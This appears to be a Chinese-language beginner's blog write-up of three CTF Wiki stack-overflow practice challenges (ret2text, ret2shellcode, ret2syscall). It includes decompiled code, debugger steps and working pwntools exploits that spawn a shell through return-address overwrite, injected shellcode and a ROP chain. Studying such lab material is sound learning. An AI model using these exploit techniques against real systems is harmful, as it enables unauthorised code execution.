初識pwn(Stack Overflow) --入門即入土


比賽時web老是坐牢,就想看看pwn坑有多大

先看ctfwiki的棧溢出介紹
CTF Wiki-Stack Overflow
還有函數調用棧的知識
http://www.cnblogs.com/clover-toeic/p/3755401.html
https://www.cnblogs.com/clover-toeic/p/3756668.html
看完后正常人應該就會及時止損放棄學pwn了xd

搭建pwn環境:略(此處省略一萬字)

用ctf wiki上的例題學學實操

0x00 ret2text(人生中第0道pwn題)
首先checksec+file命令查看文件信息

root@bridge-virtual-machine:/home/bridge/pwn/ret2text# checksec ret2text
[*] '/home/bridge/pwn/ret2text/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
root@bridge-virtual-machine:/home/bridge/pwn/ret2text# file ret2text
ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f13f004f23ea39d28ca91f2bb83110b4b73713f, with debug_info, not stripped
root@bridge-virtual-machine:/home/bridge/pwn/ret2text# 

解釋一下關鍵的:
Stack: No canary found
金絲雀保護關。如果開啟,會在返回地址前塞一段隨機數據,如果被覆蓋程序會直接報錯

NX: NX enabled
NX開,IP不會指向堆棧上的數據,即不執行堆棧上的數據

ELF 32-bit
32位程序

dynamically linked
參見
動態鏈接GOT與PLT
這題沒用到,先擺着吧

程序功能是簡單的輸入-輸出。拖到ida里分析,發現計導課件常用函數gets,可造成棧溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(s);
  printf("Maybe I will tell you next time !");
  return 0;
}

並發現了secure函數下的shell函數

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf(&unk_8048760, &input);
  if ( input == secretcode )
    system("/bin/sh");
}

所以思路就是:利用gets寫字符串,覆蓋main函數的返回地址,讓其指向system("/bin/sh")函數。我們現在要解決的問題就是計算gets函數的參數s距離main函數的返回地址是多少。可以在ida里硬算,但這里用更簡單的pwntools+pwndbg計算。
首先用cyclic生成200個垃圾字符
cyclic 200
然后用gdb打開程序
gdb ret2text
pwndbg> run
輸入剛才的垃圾字符,回車,可以看到報錯
Invalid address 0x62616164
事實上0x62616164是我們剛才輸入垃圾字符串(16進制形式)的一部分,而這一部分正好覆蓋了main函數的返回地址。
然后可以通過cyclic lookup計算0x62616164距離字符串首字母間隔了幾個字符

pwndbg> cyclic -l 0x62616164
112

最后在ida里查到system("/bin/sh")的地址為0x0804863A
然后終於可以愉快地寫exp了

from pwn import *
p=process("./ret2text")
pay='a'*112+p32(0x0804863A)
p.sendline(pay)
p.interactive()

0x01 ret2shellcode
在完成從0到1的偉大跨越(?)后,來看看第二題
程序依然還是一行輸入。checksec查看保護

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

保護全關
ida查看main函數

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

gets后把字符串賦給了buf2,跟進buf,發現buf2在bss段。

這里先要理清到底內存中哪些地址是變的,哪些地址是不變的。在瘋狂搜索和mark哥的講解后總結出:

0.關於程序內存空間都有哪些段可以看:
一個程序的內存空間分布
1.堆棧取決於系統的地址隨機化(ASLR)。
正常情況下都是隨機的,但是調試的時候為了方便是固定的。另外,ASLR還會使libc等隨機化。
2.程序加載的地址隨機化(程序內存空間(代碼段,數據段,bss段等)(.text .data .bss etc)
取決於PIE保護是否開啟。具體可參考PIE保護詳解和常用bypass手段

回到這題,PIE關,所以可以寫shellcode到buf2(in .bss)。
在此之前,可以下個斷點,用vmmap確認.bss的數據可執行:

pwndbg> b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
pwndbg> run
..........
pwndbg> vmmap

image
注意到

0x804a000  0x804b000 rwxp     1000 1000   /home/bridge/pwn/ret2shellcode/ret2shellcode

rwxp,可讀可寫可執行可映射。
這里有個坑。如果用readelf -S ret2shellcode看.bss的權限會發現它不可執行,這里我們要相信動調結果。
現在思路就是,payload開頭寫shellcode,然后填垃圾字符,把main函數反址覆蓋成buf2地址。
exp如下

from pwn import *
p=process("./ret2shellcode")

shellcode=asm(shellcraft.sh())
buf2addr=0x0804A080
pay=shellcode.ljust(112,"a")+p32(buf2addr)

p.sendline(pay)
p.interactive()

解釋一下新的點。
1.我們要發送的shellcode是hex碼,asm()的作用是把匯編轉化成機器碼。而shellcraft.sh()是pwntools(?)庫里自帶的system("/bin/sh")匯編函數。
事實上,可以用log.info(shellcraft.sh())看看匯編代碼
2.shellcode.ljust(112,"a")讓shellcode左對齊,右邊用a補全,字符總長度為112

0X02 ret2syscall
首先得明確這幾個匯編語言是什么意思

jmp [addr]
等價於
mov ip,[addr]

call [addr]
等價於
push IP
jmp [addr]

ret
等價於
pop IP

leave(bp.sp復位)
等價於
mov esp, ebp
pop ebp

思路沒啥好說的,看ctfwiki跟着學
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/

exp:

from pwn import *
context(os="linux",arch="i386")
context.log_level="debug"
# 0x080bb196 pop_eax_ret
# 0x0806eb90 pop_edx_pop_ecx_pop_ebx_ret
# int_0x80 0x08049421
# offset=112
# binsh=0x080be409
int_0x80=0x08049421
offset=112
binsh=0x080be408
pop_eax_ret=0x080bb196
pop_edx_pop_ecx_pop_ebx_ret=0x0806eb90

p=process("./rop")

pay='a'*offset
pay+=p32(pop_eax_ret)
pay+=p32(0xb)
pay+=p32(pop_edx_pop_ecx_pop_ebx_ret)
pay+=p32(0)
pay+=p32(0)
pay+=p32(binsh)
pay+=p32(int_0x80)
#gdb.attach(p)
p.sendline(pay)

p.interactive()

順便動調看看一下寫完payload后棧的情況
低地址是一堆a
image
esp附近好像和我們預想的差不多
image

就先到這里吧,雖然到這里連pwn的門都沒入:( 往后還得聽Mark哥的話學學動調研究一下內存,還要配一堆其他環境。。而且要期考了嗚嗚嗚


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM